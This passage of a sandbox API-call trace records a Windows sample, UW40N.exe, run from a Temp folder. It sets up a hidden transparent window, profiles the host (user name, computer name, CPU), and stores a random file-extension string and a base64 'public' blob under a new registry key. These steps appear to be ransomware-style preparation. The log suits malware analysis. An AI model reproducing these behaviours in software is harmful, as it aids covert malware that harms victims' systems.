GdipGetFontStyle (font=0x1b8141a0, style=0x1af0e668) returned 0x0 [0075.522] GdipGetFamily (font=0x1b8141a0, family=0x1af0e660) returned 0x0 [0075.528] GdipGetFontSize (font=0x1b8141a0, size=0x2321370) returned 0x0 [0075.528] ReleaseDC (hWnd=0x0, hDC=0x4e0107cc) returned 1 [0075.531] GetDC (hWnd=0x0) returned 0xc010735 [0075.531] GdipCreateFromHDC (hdc=0xc010735, graphics=0x1af0e678) returned 0x0 [0075.535] GdipGetDpiY (graphics=0x1b87d3c0, dpi=0x2321548) returned 0x0 [0075.537] GdipGetFontHeight (font=0x1b8141a0, graphics=0x1b87d3c0, height=0x1af0e674) returned 0x0 [0075.538] GdipGetEmHeight (family=0x1b81c5e0, style=0, EmHeight=0x1af0e678) returned 0x0 [0075.539] GdipGetLineSpacing (family=0x1b81c5e0, style=0, LineSpacing=0x1af0e678) returned 0x0 [0075.540] GdipDeleteGraphics (graphics=0x1b87d3c0) returned 0x0 [0075.540] ReleaseDC (hWnd=0x0, hDC=0xc010735) returned 1 [0075.547] GdipCreateFont (fontFamily=0x1b81c5e0, emSize=0x7fef27ecd25, style=0, unit=0x3, font=0x23214d8) returned 0x0 [0075.548] GdipGetFontSize (font=0x1b8e3a40, size=0x23214e0) returned 0x0 [0075.548] GdipDeleteFont (font=0x1b8141a0) returned 0x0 [0075.553] GetDC (hWnd=0x0) returned 0xc010735 [0075.553] GdipCreateFromHDC (hdc=0xc010735, graphics=0x1af0e728) returned 0x0 [0075.561] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.562] GdipGetLogFontW (font=0x1b8e3a40, graphics=0x1b87d3c0, logfontW=0x1a571d10) returned 0x0 [0075.562] CoTaskMemFree (pv=0x1a571d10) [0075.562] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.562] CoTaskMemFree (pv=0x1a571d10) [0075.563] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.563] CoTaskMemFree (pv=0x1a571d10) [0075.563] GdipDeleteGraphics (graphics=0x1b87d3c0) returned 0x0 [0075.563] ReleaseDC (hWnd=0x0, hDC=0xc010735) returned 1 [0075.564] CoTaskMemAlloc (cb=0x5c) returned 0x1a571d10 [0075.564] CreateFontIndirectW (lplf=0x1a571d10) returned 0x1d0a09a5 [0075.564] CoTaskMemFree (pv=0x1a571d10) [0075.565] SelectObject (hdc=0x1e0109fb, h=0x1d0a09a5) returned 0x18a002e [0075.565] GetTextMetricsW (in: hdc=0x1e0109fb, lptm=0x1af0e9a8 | out: lptm=0x1af0e9a8) returned 1 [0075.566] GetTextExtentPoint32W (in: hdc=0x1e0109fb, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x23218c0 | out: psizl=0x23218c0) returned 1 [0075.592] SelectObject (hdc=0x1e0109fb, h=0x18a002e) returned 0x1d0a09a5 [0075.607] DeleteDC (hdc=0x1e0109fb) returned 1 [0075.608] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.608] AdjustWindowRectEx (in: lpRect=0x1af0e610, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x1af0e610) returned 1 [0075.609] GetCursorPos (in: lpPoint=0x23218f8 | out: lpPoint=0x23218f8*(x=1155, y=425)) returned 1 [0075.611] GetSystemMetrics (nIndex=80) returned 1 [0075.619] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e3c0 | out: lpmi=0x1af0e3c0) returned 1 [0075.619] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x200109fb [0075.620] GetDeviceCaps (hdc=0x200109fb, index=12) returned 32 [0075.620] GetDeviceCaps (hdc=0x200109fb, index=14) returned 1 [0075.620] DeleteDC (hdc=0x200109fb) returned 1 [0075.627] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x2321f68, nLength=0xc, lpnLengthNeeded=0x1af0e460 | out: pvInfo=0x2321f68, lpnLengthNeeded=0x1af0e460) returned 1 [0075.629] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x23c [0075.666] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e490 | out: lpmi=0x1af0e490) returned 1 [0075.666] AdjustWindowRectEx (in: lpRect=0x1af0e890, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x1af0e890) returned 1 [0075.667] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef4930000 [0075.667] AdjustWindowRectEx (in: lpRect=0x1af0e500, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x1af0e500) returned 1 [0075.667] GetCursorPos (in: lpPoint=0x2322980 | out: lpPoint=0x2322980*(x=1155, y=425)) returned 1 [0075.667] MonitorFromPoint (pt=0x1a900000484, dwFlags=0x2) returned 0x10001 [0075.667] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e2b0 | out: lpmi=0x1af0e2b0) returned 1 [0075.667] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x260109fb [0075.667] GetDeviceCaps (hdc=0x260109fb, index=12) returned 32 [0075.667] GetDeviceCaps (hdc=0x260109fb, index=14) returned 1 [0075.667] DeleteDC (hdc=0x260109fb) returned 1 [0075.667] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e380 | out: lpmi=0x1af0e380) returned 1 [0075.667] AdjustWindowRectEx (in: lpRect=0x1af0e680, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x1af0e680) returned 1 [0075.678] GetCurrentActCtx (in: lphActCtx=0x1af0eb80 | out: lphActCtx=0x1af0eb80*=0x0) returned 1 [0075.678] ActivateActCtx (in: hActCtx=0x1a57ac78, lpCookie=0x1af0ebc0 | out: hActCtx=0x1a57ac78, lpCookie=0x1af0ebc0) returned 1 [0075.690] GetCurrentActCtx (in: lphActCtx=0x1af0e810 | out: lphActCtx=0x1af0e810*=0x1a57ac78) returned 1 [0075.690] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000 [0075.690] AdjustWindowRectEx (in: lpRect=0x1af0e730, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x1af0e730) returned 1 [0075.690] GetCursorPos (in: lpPoint=0x2322e48 | out: lpPoint=0x2322e48*(x=1155, y=425)) returned 1 [0075.690] MonitorFromPoint (pt=0x1a900000483, dwFlags=0x2) returned 0x10001 [0075.690] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e4e0 | out: lpmi=0x1af0e4e0) returned 1 [0075.690] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x270109fb [0075.690] GetDeviceCaps (hdc=0x270109fb, index=12) returned 32 [0075.690] GetDeviceCaps (hdc=0x270109fb, index=14) returned 1 [0075.690] DeleteDC (hdc=0x270109fb) returned 1 [0075.690] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e5b0 | out: lpmi=0x1af0e5b0) returned 1 [0075.691] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0075.691] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.3ce0bb8_r12_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=715, Y=425, nWidth=10, nHeight=10, hWndParent=0x0, hMenu=0x0, hInstance=0x8a0000, lpParam=0x0) returned 0x50114 [0075.691] SetWindowLongPtrW (hWnd=0x50114, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a78134c [0075.691] GetWindowLongPtrW (hWnd=0x50114, nIndex=-4) returned 0x77a8b0ac [0075.691] SetWindowLongPtrW (hWnd=0x50114, nIndex=-4, dwNewLong=0x1a78148c) returned 0x77a8b0ac [0075.691] GetWindowLongPtrW (hWnd=0x50114, nIndex=-4) returned 0x1a78148c [0075.691] GetWindowLongPtrW (hWnd=0x50114, nIndex=-16) returned 0x6c10000 [0075.691] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x81, wParam=0x0, lParam=0x1af0ded0) returned 0x1 [0075.692] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x83, wParam=0x0, lParam=0x1af0df80) returned 0x0 [0076.048] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x1, wParam=0x0, lParam=0x1af0ded0) returned 0x0 [0076.048] GetClientRect (in: hWnd=0x50114, lpRect=0x1af0d950 | out: lpRect=0x1af0d950) returned 1 [0076.048] GetWindowRect (in: hWnd=0x50114, lpRect=0x1af0d950 | out: lpRect=0x1af0d950) returned 1 [0076.049] GetWindowTextLengthW (hWnd=0x50114) returned 0 [0076.049] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0076.050] GetSystemMetrics (nIndex=42) returned 0 [0076.050] GetWindowTextW (in: hWnd=0x50114, lpString=0x1af0d590, nMaxCount=1 | out: lpString="") returned 0 [0076.050] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xd, wParam=0x1, lParam=0x1af0d590) returned 0x0 [0076.094] SetLayeredWindowAttributes (hwnd=0x50114, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0076.095] GetStartupInfoW (in: lpStartupInfo=0x2323510 | out: lpStartupInfo=0x2323510*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0076.096] GetParent (hWnd=0x50114) returned 0x0 [0076.097] GetStockObject (i=5) returned 0x1900015 [0076.098] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0076.098] CoTaskMemAlloc (cb=0x5c) returned 0x1a571df0 [0076.098] RegisterClassW (lpWndClass=0x1af0e500) returned 0xc165 [0076.098] CoTaskMemFree (pv=0x1a571df0) [0076.098] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0076.098] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.3ce0bb8_r12_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x8a0000, lpParam=0x0) returned 0x7026c [0076.099] SetWindowLongPtrW (hWnd=0x7026c, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1a7814dc [0076.099] GetWindowLongPtrW (hWnd=0x7026c, nIndex=-4) returned 0x77a8b0ac [0076.099] SetWindowLongPtrW (hWnd=0x7026c, nIndex=-4, dwNewLong=0x1a78152c) returned 0x77a8b0ac [0076.099] GetWindowLongPtrW (hWnd=0x7026c, nIndex=-4) returned 0x1a78152c [0076.099] GetWindowLongPtrW (hWnd=0x7026c, nIndex=-16) returned 0x4c00000 [0076.100] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x24, wParam=0x0, lParam=0x1af0df70) returned 0x0 [0076.100] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x81, wParam=0x0, lParam=0x1af0dee0) returned 0x1 [0076.101] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x83, wParam=0x0, lParam=0x1af0df90) returned 0x0 [0076.101] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x1, wParam=0x0, lParam=0x1af0dee0) returned 0x0 [0076.101] SetWindowLongPtrW (hWnd=0x50114, nIndex=-8, dwNewLong=0x7026c) returned 0x0 [0076.103] SendMessageW (hWnd=0x50114, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0076.103] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0076.103] SendMessageW (hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0076.103] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0076.104] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xd, wParam=0x104, lParam=0x1ad94850) returned 0x0 [0076.105] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xd, wParam=0x104, lParam=0x1ad94850) returned 0x0 [0076.105] GetSystemMenu (hWnd=0x50114, bRevert=0) returned 0x0 [0076.106] GetWindowPlacement (in: hWnd=0x50114, lpwndpl=0x1af0e818 | out: lpwndpl=0x1af0e818) returned 1 [0076.106] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0076.106] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0076.106] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0076.106] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0076.106] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0076.107] GetClientRect (in: hWnd=0x50114, lpRect=0x1af0e8e0 | out: lpRect=0x1af0e8e0) returned 1 [0076.107] GetClientRect (in: hWnd=0x50114, lpRect=0x1af0e810 | out: lpRect=0x1af0e810) returned 1 [0076.107] GetWindowRect (in: hWnd=0x50114, lpRect=0x1af0e810 | out: lpRect=0x1af0e810) returned 1 [0076.107] SetWindowLongPtrW (hWnd=0x50114, nIndex=-8, dwNewLong=0x7026c) returned 0x7026c [0076.113] GetSystemMetrics (nIndex=11) returned 32 [0076.113] GetSystemMetrics (nIndex=12) returned 32 [0076.113] GetDC (hWnd=0x0) returned 0xc010735 [0076.114] GetDeviceCaps (hdc=0xc010735, index=12) returned 32 [0076.114] GetDeviceCaps (hdc=0xc010735, index=14) returned 1 [0076.114] ReleaseDC (hWnd=0x0, hDC=0xc010735) returned 1 [0076.114] CreateIconFromResourceEx (presbits=0x23265d0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x100241 [0076.117] SendMessageW (hWnd=0x7026c, Msg=0x80, wParam=0x1, lParam=0x100241) returned 0x0 [0076.117] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x80, wParam=0x1, lParam=0x100241) returned 0x0 [0076.118] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0xd, wParam=0x104, lParam=0x1ad94850) returned 0x0 [0076.118] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0xd, wParam=0x104, lParam=0x1ad94850) returned 0x0 [0076.118] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000 [0076.118] GetWindowLongPtrW (hWnd=0x50114, nIndex=-16) returned 0x6c10000 [0076.118] GetCursorPos (in: lpPoint=0x2327688 | out: lpPoint=0x2327688*(x=1155, y=425)) returned 1 [0076.118] MonitorFromPoint (pt=0x1ac00000484, dwFlags=0x2) returned 0x10001 [0076.119] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e4b0 | out: lpmi=0x1af0e4b0) returned 1 [0076.119] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xb0109d5 [0076.119] GetDeviceCaps (hdc=0xb0109d5, index=12) returned 32 [0076.119] GetDeviceCaps (hdc=0xb0109d5, index=14) returned 1 [0076.119] DeleteDC (hdc=0xb0109d5) returned 1 [0076.119] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0e580 | out: lpmi=0x1af0e580) returned 1 [0076.119] GetWindowLongPtrW (hWnd=0x50114, nIndex=-16) returned 0x6c10000 [0076.119] GetWindowLongPtrW (hWnd=0x50114, nIndex=-20) returned 0x90100 [0076.119] SetWindowLongPtrW (hWnd=0x50114, nIndex=-16, dwNewLong=0x2010000) returned 0x6c10000 [0076.119] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1af0e6f0) returned 0x0 [0076.119] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1af0e6f0) returned 0x0 [0076.121] SetWindowLongPtrW (hWnd=0x50114, nIndex=-20, dwNewLong=0x90000) returned 0x90000 [0076.121] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1af0e6f0) returned 0x0 [0076.121] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1af0e6f0) returned 0x0 [0076.122] SetWindowPos (hWnd=0x50114, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0076.122] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x46, wParam=0x0, lParam=0x1af0e740) returned 0x0 [0076.122] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x83, wParam=0x1, lParam=0x1af0e710) returned 0x0 [0076.123] GetWindowPlacement (in: hWnd=0x50114, lpwndpl=0x1af0e318 | out: lpwndpl=0x1af0e318) returned 1 [0076.123] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x47, wParam=0x0, lParam=0x1af0e740) returned 0x0 [0076.123] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x3, wParam=0x0, lParam=0x1a902cb) returned 0x0 [0076.123] GetClientRect (in: hWnd=0x50114, lpRect=0x1af0d890 | out: lpRect=0x1af0d890) returned 1 [0076.123] GetWindowRect (in: hWnd=0x50114, lpRect=0x1af0d890 | out: lpRect=0x1af0d890) returned 1 [0076.123] GetWindowTextLengthW (hWnd=0x50114) returned 0 [0076.123] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0076.123] GetSystemMetrics (nIndex=42) returned 0 [0076.123] GetWindowTextW (in: hWnd=0x50114, lpString=0x1af0d4d0, nMaxCount=1 | out: lpString="") returned 0 [0076.123] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xd, wParam=0x1, lParam=0x1af0d4d0) returned 0x0 [0076.124] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x5, wParam=0x0, lParam=0x260084) returned 0x0 [0076.124] GetClientRect (in: hWnd=0x50114, lpRect=0x1af0e1b0 | out: lpRect=0x1af0e1b0) returned 1 [0076.124] GetWindowRect (in: hWnd=0x50114, lpRect=0x1af0e1b0 | out: lpRect=0x1af0e1b0) returned 1 [0076.127] RedrawWindow (hWnd=0x50114, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0076.127] GetSystemMenu (hWnd=0x50114, bRevert=0) returned 0x0 [0076.127] GetWindowPlacement (in: hWnd=0x50114, lpwndpl=0x1af0e7b8 | out: lpwndpl=0x1af0e7b8) returned 1 [0076.127] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0076.127] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0076.127] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0076.127] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0076.127] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0076.127] ShowWindow (hWnd=0x50114, nCmdShow=5) [0076.127] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0076.128] GetWindowTextLengthW (hWnd=0x50114) returned 0 [0076.128] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0076.128] GetSystemMetrics (nIndex=42) returned 0 [0076.128] GetWindowTextW (in: hWnd=0x50114, lpString=0x1af0e180, nMaxCount=1 | out: lpString="") returned 0 [0076.128] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0xd, wParam=0x1, lParam=0x1af0e180) returned 0x0 [0076.169] GetUserNameW (in: lpBuffer=0x1af0abb0, pcbBuffer=0x1af0aed8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x1af0aed8) returned 1 [0076.352] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="data_reg", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1af0e088 | out: phkResult=0x1af0e088*=0x0) returned 0x2 [0076.353] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="data_reg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1af0e0e0, lpdwDisposition=0x1af0e1c8 | out: phkResult=0x1af0e0e0*=0x270, lpdwDisposition=0x1af0e1c8*=0x1) returned 0x0 [0076.357] RegQueryValueExW (in: hKey=0x270, lpValueName="ext", lpReserved=0x0, lpType=0x1af0e198, lpData=0x0, lpcbData=0x1af0e190*=0x0 | out: lpType=0x1af0e198*=0x0, lpData=0x0, lpcbData=0x1af0e190*=0x0) returned 0x2 [0076.357] RegSetValueExW (in: hKey=0x270, lpValueName="ext", Reserved=0x0, dwType=0x1, lpData="vllnrzrf", cbData=0x12 | out: lpData="vllnrzrf") returned 0x0 [0076.358] RegCloseKey (hKey=0x270) returned 0x0 [0076.358] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="data_reg", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af0e158 | out: phkResult=0x1af0e158*=0x270) returned 0x0 [0076.359] RegQueryValueExW (in: hKey=0x270, lpValueName="ext", lpReserved=0x0, lpType=0x1af0e198, lpData=0x0, lpcbData=0x1af0e190*=0x0 | out: lpType=0x1af0e198*=0x1, lpData=0x0, lpcbData=0x1af0e190*=0x12) returned 0x0 [0076.359] RegQueryValueExW (in: hKey=0x270, lpValueName="ext", lpReserved=0x0, lpType=0x1af0e198, lpData=0x232b3c0, lpcbData=0x1af0e190*=0x12 | out: lpType=0x1af0e198*=0x1, lpData="vllnrzrf", lpcbData=0x1af0e190*=0x12) returned 0x0 [0076.359] RegCloseKey (hKey=0x270) returned 0x0 [0076.369] GetUserNameW (in: lpBuffer=0x1af0df10, pcbBuffer=0x1af0e238 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x1af0e238) returned 1 [0076.371] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af0e0c8 | out: phkResult=0x1af0e0c8*=0x270) returned 0x0 [0076.371] GetComputerNameW (in: lpBuffer=0x1af0de50, nSize=0x1af0e178 | out: lpBuffer="XDUWTFONO", nSize=0x1af0e178) returned 1 [0076.371] RegQueryValueExW (in: hKey=0x270, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0e118, lpData=0x0, lpcbData=0x1af0e110*=0x0 | out: lpType=0x1af0e118*=0x1, lpData=0x0, lpcbData=0x1af0e110*=0x50) returned 0x0 [0076.371] RegQueryValueExW (in: hKey=0x270, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0e118, lpData=0x232dad0, lpcbData=0x1af0e110*=0x50 | out: lpType=0x1af0e118*=0x1, lpData="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", lpcbData=0x1af0e110*=0x50) returned 0x0 [0076.371] RegCloseKey (hKey=0x270) returned 0x0 [0076.839] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="data_reg", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1af0e088 | out: phkResult=0x1af0e088*=0x270) returned 0x0 [0076.839] RegQueryValueExW (in: hKey=0x270, lpValueName="public", lpReserved=0x0, lpType=0x1af0e198, lpData=0x0, lpcbData=0x1af0e190*=0x0 | out: lpType=0x1af0e198*=0x0, lpData=0x0, lpcbData=0x1af0e190*=0x0) returned 0x2 [0076.839] RegSetValueExW (in: hKey=0x270, lpValueName="public", Reserved=0x0, dwType=0x1, lpData="yWVeXscCrSEAF3T18IIERE5g6GEinVQZoatkerkgUndGte4k8kp1lqKaeuzxWazNcbWbqsxzJMU+UK1+2Ow7Gm3/WL7N4Smj8O528+JAHIJh/TXrzJtcFii4cJ+C08kc472UG+15leDwdTRug8cgZTD11pnPsZ/snI6+q1hFkg184ZP7gvaKoOqaMbUMenDWCW5kAroOyBL6dlo4o0ZElyoVQJAJk07cr02Pd+gYbvvEgN+j3ljhv5FeHqQeN9JMhL7qmODO0QIePcC82z75cngqc8RO3XeKwy8LFPH7cpYxflnBqbkM9yktKYjNAWAX/jUO5IIepWr86MANa7q5Wmyc8N7+PrgxWSkVYB84mpkcj8CddgYDMzhhRnOeCbGNJ6yB6CP24LMTAMVOp7nvCH/wQZ2NDfeXkUam33XlSlkKxsa1SqA4kZ9UT423YCuGgzjaG1zg1lup0yIzBx6xEMe7JPhIlcD602hyuBQg36UVEn9dVZ3Gum3+lWDNtuanMI39R3n/VZ/cQ6dnA59K30WnU49kJe2L6fcq6caa9a9vnuaWlukUbWdz6LdzvfqxGAjGy4cSjA7LOGzsm5lJyRGFUuX/nlTcVn5N9u2dITR8PC3ziu6gpadZWgkd4mxkvWpUEHW8CKQrn8SYkme1L4vcFFfGH1om/o3KJCvwFVqjLDDXLLxbMKocjsYswaeoNCO3SUDLEubvtoOQi7tkNboVwJuOSAC6ldA58I6N0tJiLycoksRDLnyKfq+TCLGmVPnqKLXRX4QcusqOVVMRdV5iduGkWtHZGFSKWnMh5CKDKW+iY4+HLM3sHdGcI+3ogivyMOC4bR4Cuf83CmedMTFOv/GprFI80ehJ9to8AJpse+4kBowepArroh+uBTV2ZdrgUWzy4w7QG093v43U1sQtg6gHz3CssdPbPGgzWRsUxNsO0M7mCGVqJuXFkalDtlyE851olDmIuF3/Hi02Q+iyeKYMhMfyDsyVgmp97qZKP2/v5yGO3iSnDnbQ34e3bw1SsAD9bRYDnKA7v2bENY0BraxqSJIHIaFDwj7DkoJ0PmYoyyclLF7eVzebzcZCAaYfVj6PqIsdQs0Wwx0=", cbData=0x8aa | out: lpData="yWVeXscCrSEAF3T18IIERE5g6GEinVQZoatkerkgUndGte4k8kp1lqKaeuzxWazNcbWbqsxzJMU+UK1+2Ow7Gm3/WL7N4Smj8O528+JAHIJh/TXrzJtcFii4cJ+C08kc472UG+15leDwdTRug8cgZTD11pnPsZ/snI6+q1hFkg184ZP7gvaKoOqaMbUMenDWCW5kAroOyBL6dlo4o0ZElyoVQJAJk07cr02Pd+gYbvvEgN+j3ljhv5FeHqQeN9JMhL7qmODO0QIePcC82z75cngqc8RO3XeKwy8LFPH7cpYxflnBqbkM9yktKYjNAWAX/jUO5IIepWr86MANa7q5Wmyc8N7+PrgxWSkVYB84mpkcj8CddgYDMzhhRnOeCbGNJ6yB6CP24LMTAMVOp7nvCH/wQZ2NDfeXkUam33XlSlkKxsa1SqA4kZ9UT423YCuGgzjaG1zg1lup0yIzBx6xEMe7JPhIlcD602hyuBQg36UVEn9dVZ3Gum3+lWDNtuanMI39R3n/VZ/cQ6dnA59K30WnU49kJe2L6fcq6caa9a9vnuaWlukUbWdz6LdzvfqxGAjGy4cSjA7LOGzsm5lJyRGFUuX/nlTcVn5N9u2dITR8PC3ziu6gpadZWgkd4mxkvWpUEHW8CKQrn8SYkme1L4vcFFfGH1om/o3KJCvwFVqjLDDXLLxbMKocjsYswaeoNCO3SUDLEubvtoOQi7tkNboVwJuOSAC6ldA58I6N0tJiLycoksRDLnyKfq+TCLGmVPnqKLXRX4QcusqOVVMRdV5iduGkWtHZGFSKWnMh5CKDKW+iY4+HLM3sHdGcI+3ogivyMOC4bR4Cuf83CmedMTFOv/GprFI80ehJ9to8AJpse+4kBowepArroh+uBTV2ZdrgUWzy4w7QG093v43U1sQtg6gHz3CssdPbPGgzWRsUxNsO0M7mCGVqJuXFkalDtlyE851olDmIuF3/Hi02Q+iyeKYMhMfyDsyVgmp97qZKP2/v5yGO3iSnDnbQ34e3bw1SsAD9bRYDnKA7v2bENY0BraxqSJIHIaFDwj7DkoJ0PmYoyyclLF7eVzebzcZCAaYfVj6PqIsdQs0Wwx0=") returned 0x0 [0076.840] RegCloseKey (hKey=0x270) returned 0x0 [0076.844] GetCurrentProcess () returned 0xffffffffffffffff [0076.844] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1af0e0e8 